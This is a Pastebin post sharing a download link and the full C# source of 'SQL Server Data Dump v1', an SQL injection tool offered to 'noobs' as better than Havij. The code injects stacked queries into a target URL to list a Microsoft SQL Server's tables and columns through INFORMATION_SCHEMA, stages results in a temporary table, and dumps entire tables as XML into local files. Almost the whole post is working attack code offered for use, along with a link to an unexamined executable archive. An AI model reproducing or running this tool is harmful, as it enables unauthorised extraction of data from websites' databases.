Advertisement
Kyfx

Better than Havji and Mole if u noobs want to try it out :L

Oct 19th, 2015
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.35 KB | None | 0 0
  1. http://www.mediafire.com/download/yj1da6jea94tpxi/SQL+Server+Data+Dump.rar
  2.  
  3.  
  4.  
  5. -> code for #C
  6.  
  7.  
  8. using System;
  9. using System.Collections.Generic;
  10. using System.IO;
  11. using System.Net;
  12. using System.Text;
  13. using System.Threading;
  14. using System.Xml;
  15.  
  16. namespace DumpData
  17. {
  18. class Program
  19. {
  20. static string _replacement = "ch198mno574x";
  21.  
  22. static string _tableStackedQuery = ";begin declare @x varchar(MAX) set @x = 'x102x' SELECT @x = @x %2b ':' %2b TABLE_NAME FROM INFORMATION_SCHEMA.TABLES set @x = @x %2b ':x102y' SELECT @x as oxp into xrummyTables end--X-";
  23. static string _columnStackedQuery = ";begin declare @x varchar(MAX) set @x = 'x102x' SELECT @x = @x %2b':'%2b COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = [TABLENAME]; set @x = @x %2b':x102y' SELECT @x as oxp into xrummyTables end--X-";
  24. static string _dropTableStackedQuery = ";drop table xrummyTables--X-";
  25. static string _tableDumpQuery = "'x102x:'%2b(SELECT * FROM [TABLENAME] for xml auto)%2b':x102y'";
  26.  
  27. static string[] _tables = null;
  28. static string[] _columns = null;
  29.  
  30. static string _fileName = null;
  31.  
  32. static void Main(string[] args)
  33. {
  34. initialize();
  35.  
  36. Console.Title = "SQL Server Data Dump v1 by rummykhan";
  37. Console.ForegroundColor = ConsoleColor.Red;
  38. Console.WriteLine("\t\t\t\t: Love For :\n | Lafangoo | Ch3rn0by1 | Connecting | exploiter-z | Gujjar (PCP) | rootxx |\n\t |PMH's Str!k3r -" +
  39. "Rafay Baloch -Jin -hussein(h98d) -Zen -Rahul| \n\t\t|MakMan--madCodE--Blackhawk--Ajkaro--benzi| ");
  40. Console.WriteLine();
  41. string basicURL = null;
  42.  
  43. while (basicURL != "x")
  44. {
  45. basicURL = null;
  46. logNotification("Press x for exit..");
  47. promptForUserInput("Enter url");
  48. basicURL = Console.ReadLine();
  49.  
  50. if (basicURL != "x" && !String.IsNullOrEmpty(basicURL))
  51. {
  52. logNotification("Confirming Web Response..");
  53.  
  54. if (confirmResponce(basicURL))
  55. {
  56. logNotification("Web Response is OK..");
  57.  
  58. string[] tmpTables = getObjects(basicURL, _tableStackedQuery);
  59.  
  60. if (tmpTables != null)
  61. {
  62. dropTempTable(basicURL);
  63. _tables = tmpTables;
  64.  
  65. int choice = -1;
  66.  
  67. while (choice != 0)
  68. {
  69. Console.Clear();
  70. showObjects(_tables, "TABLE");
  71. choice = showMenu();
  72.  
  73. if (choice > 0 && choice <= _tables.Length)
  74. {
  75. string userSelectedTable = _tables[choice - 1];
  76.  
  77. string userColumnQuery = constructQueryForColumns(userSelectedTable);
  78.  
  79. string[] tmpColumns = getObjects(basicURL, userColumnQuery);
  80.  
  81. if (tmpColumns != null)
  82. {
  83. dropTempTable(basicURL);
  84. showObjects(tmpColumns, "COLUMN");
  85.  
  86. if (takeInputForTableFile())
  87. {
  88. string xml = addRoot(getPureResponse(getResponse(constructQueryForDataDump(basicURL, userSelectedTable))));
  89.  
  90. createWriteTmpFile(xml);
  91.  
  92. parseXML(userSelectedTable);
  93. logNotification("Data dump complete..\nPress any key to continue..");
  94. Console.ReadKey();
  95. }
  96. }
  97. }
  98. }
  99. cleanUp();
  100. Console.Clear();
  101. }
  102. }
  103. }
  104. }
  105. logOutput("Program is going to exit.. Press any key..");
  106. Console.ReadKey();
  107. }
  108.  
  109. static bool confirmResponce(string url)
  110. {
  111. try
  112. {
  113. if (getResponse(constructURLForConfirmation(url)).Contains(_replacement))
  114. return true;
  115. else
  116. return false;
  117. }
  118. catch (NullReferenceException ex)
  119. {
  120. logError("No Responce returned from the Server");
  121. return false;
  122. }
  123. }
  124.  
  125. static string getResponse(string url)
  126. {
  127. try
  128. {
  129. HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
  130. request.Method = "GET";
  131. using (var response = request.GetResponse())
  132. using (var stream = response.GetResponseStream())
  133. using (var reader = new StreamReader(stream))
  134. {
  135. HttpStatusCode statusCode = ((HttpWebResponse)response).StatusCode;
  136. string contents = reader.ReadToEnd();
  137. return contents;
  138. }
  139. }
  140. catch(WebException wc)
  141. {
  142. try
  143. {
  144. WebResponse wr = (WebResponse)wc.Response;
  145. using (var stream = wr.GetResponseStream())
  146. using (var reader = new StreamReader(stream))
  147. {
  148. string contents = reader.ReadToEnd();
  149. return contents;
  150. }
  151. }
  152. catch(NullReferenceException ex)
  153. {
  154. logError("Plz check you internet connection OR website has blocked you ip - TimeOUT");
  155. return null;
  156. }
  157. }
  158. catch(UriFormatException ex)
  159. {
  160. logError(ex.Message);
  161. return null;
  162. }
  163. catch(NullReferenceException ex)
  164. {
  165. logError(ex.Message);
  166. return null;
  167. }
  168. }
  169.  
  170. static string[] getObjects(string url, string stackedQuery)
  171. {
  172.  
  173. string newUrl = url.Replace("rummykhan", _replacement);
  174. newUrl = newUrl.Replace("--X-", stackedQuery);
  175.  
  176. if (getResponse(newUrl).Contains(_replacement))
  177. {
  178. string objectURL = constructURLForOutput(url);
  179. return parseResponce(getResponse(objectURL));
  180. }
  181. else
  182. return null;
  183. }
  184.  
  185. static bool dropTempTable(string url)
  186. {
  187. url = constructURLForDroppingTempTable(url);
  188. if (getResponse(url).Contains(_replacement))
  189. return true;
  190. else
  191. return false;
  192. }
  193.  
  194. static string[] parseResponce(string response)
  195. {
  196. try
  197. {
  198. response = getPureResponse(response);
  199.  
  200. if (response != null)
  201. {
  202. return response.Split(':');
  203. }
  204. else
  205. return null;
  206. }
  207. catch(Exception ex)
  208. {
  209. logError(ex.Message);
  210. return null;
  211.  
  212. }
  213. }
  214.  
  215. static string getPureResponse(string response)
  216. {
  217. try
  218. {
  219. int start = response.IndexOf("x102x:");
  220. int end = response.IndexOf(":x102y");
  221. int contentLength = end - start;
  222. response = response.Substring(start, contentLength);
  223. return response.Replace("x102x:", "");
  224. }
  225. catch(Exception ex)
  226. {
  227. logError(" while parsing response : "+ex.Message);
  228. return null;
  229. }
  230. }
  231.  
  232. static string constructURLForOutput(string url)
  233. {
  234. url = url.Replace("'rummykhan'", "oxp");
  235. url = url.Replace("--X-", " FROM xrummyTables--X-");
  236. return url;
  237. }
  238.  
  239. static string constructURLForDroppingTempTable(string url)
  240. {
  241. url = constructURLForConfirmation(url);
  242. url = url.Replace("--X-", _dropTableStackedQuery);
  243. return url;
  244. }
  245.  
  246. static string constructURLForConfirmation(string url)
  247. {
  248.  
  249. url = url.Replace("rummykhan", _replacement);
  250. return url;
  251. }
  252.  
  253. static string constructQueryForColumns(string tableName)
  254. {
  255. return _columnStackedQuery.Replace("[TABLENAME]", "'" + tableName + "'");
  256. }
  257.  
  258. static string constructQueryForDataDump(string url, string tableName)
  259. {
  260. url = url.Replace("'rummykhan'", _tableDumpQuery);
  261. url = url.Replace("TABLENAME", tableName);
  262. return url;
  263. }
  264.  
  265. static void showObjects(string[] objects, string title)
  266. {
  267. try
  268. {
  269. logOutput("--[ " + title + "(s) START ]--");
  270. for (int i = 0; i < objects.Length; i++)
  271. {
  272. logOutput("[" + (i + 1) + "] = " + objects[i]);
  273. }
  274. logOutput("--[ " + title + "(s) END ]--");
  275. }
  276. catch(NullReferenceException ex)
  277. {
  278. logError("at show tables/columns : " + ex.Message);
  279. }
  280. }
  281.  
  282. static int showMenu()
  283. {
  284. logNotification("Press 0 to EXIT");
  285. promptForUserInput("Press Corresponding Key to dump TABLE");
  286.  
  287. string userInputString = Console.ReadLine();
  288. int userInputInt = 0;
  289.  
  290. if (int.TryParse(userInputString, out userInputInt))
  291. return userInputInt;
  292. else
  293. {
  294. Console.Clear();
  295. showObjects(_tables, "TABLE");
  296. logError("Bad input");
  297. return -1;
  298. }
  299. }
  300.  
  301. static string addRoot(string response)
  302. {
  303. response = "<xoxo>" + response + "</xoxo>";
  304. return response;
  305. }
  306.  
  307. static void parseXML(string tableName)
  308. {
  309. int counter = 1;
  310. XmlDocument xDoc = new XmlDocument();
  311.  
  312. xDoc.Load("tmp.txt");
  313.  
  314. XmlNodeList nodeList = xDoc.GetElementsByTagName(tableName);
  315.  
  316. using (StreamWriter sw = new StreamWriter(_fileName))
  317. {
  318. foreach (XmlNode node in nodeList)
  319. {
  320. string oneRecord = null;
  321. foreach (XmlAttribute attribute in node.Attributes)
  322. {
  323. oneRecord += attribute.Value + " : ";
  324. }
  325. Console.WriteLine(counter + " : " + oneRecord);
  326. sw.WriteLine(oneRecord);
  327. sw.Flush();
  328. counter++;
  329. }
  330. }
  331. }
  332.  
  333. static bool createWriteTmpFile(string contents)
  334. {
  335. try
  336. {
  337. using (StreamWriter sw = new StreamWriter("tmp.txt"))
  338. {
  339. sw.Write(contents);
  340. sw.Flush();
  341. return true;
  342. }
  343. }
  344. catch(Exception ex)
  345. {
  346. logError(ex.Message);
  347. return false;
  348. }
  349. }
  350.  
  351. static bool takeInputForTableFile()
  352. {
  353. promptForUserInput("Enter Name for File");
  354. string fileName = Console.ReadLine();
  355.  
  356. fileName += (new Random().Next(123456789)).ToString();
  357. _fileName = fileName + ".txt";
  358. return true;
  359. }
  360.  
  361. static void promptForUserInput(string message)
  362. {
  363. Console.ForegroundColor = ConsoleColor.Blue;
  364. Console.Write(message + " :: ");
  365. }
  366.  
  367. static void logError(string message)
  368. {
  369. Console.ForegroundColor = ConsoleColor.Red;
  370. Console.WriteLine("[ERROR] " + message+" [ERROR]");
  371. }
  372.  
  373. static void logOutput(string message)
  374. {
  375. Console.ForegroundColor = ConsoleColor.Green;
  376. Console.WriteLine(message);
  377. }
  378.  
  379. static void logNotification(string message)
  380. {
  381. Console.ForegroundColor = ConsoleColor.Gray;
  382. Console.WriteLine("[INFO] "+message);
  383. }
  384.  
  385. static void cleanUp()
  386. {
  387. File.Delete("tmp.txt");
  388. _tables = null;
  389. _fileName = null;
  390. _columns = null;
  391. }
  392.  
  393. static void initialize()
  394. {
  395. if(File.Exists("config.xml"))
  396. {
  397. XmlDocument xDoc = new XmlDocument();
  398. xDoc.Load("config.xml");
  399. string tableStackedQuery = xDoc.GetElementsByTagName("tableStackedQuery")[0].InnerXml.Trim();
  400. string columnStackedQuery = xDoc.GetElementsByTagName("columnStackedQuery")[0].InnerXml.Trim();
  401. string dropTableStackedQuery = xDoc.GetElementsByTagName("dropTableStackedQuery")[0].InnerXml.Trim();
  402. string tableDumpQuery = xDoc.GetElementsByTagName("tableDumpQuery")[0].InnerXml.Trim();
  403.  
  404. if (!String.IsNullOrEmpty(tableStackedQuery))
  405. _tableStackedQuery = tableStackedQuery;
  406. if (!String.IsNullOrEmpty(columnStackedQuery))
  407. _columnStackedQuery = columnStackedQuery;
  408. if (!String.IsNullOrEmpty(dropTableStackedQuery))
  409. _dropTableStackedQuery = dropTableStackedQuery;
  410. if (!String.IsNullOrEmpty(tableDumpQuery))
  411. _tableDumpQuery = tableDumpQuery;
  412. }
  413. }
  414. }
  415. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement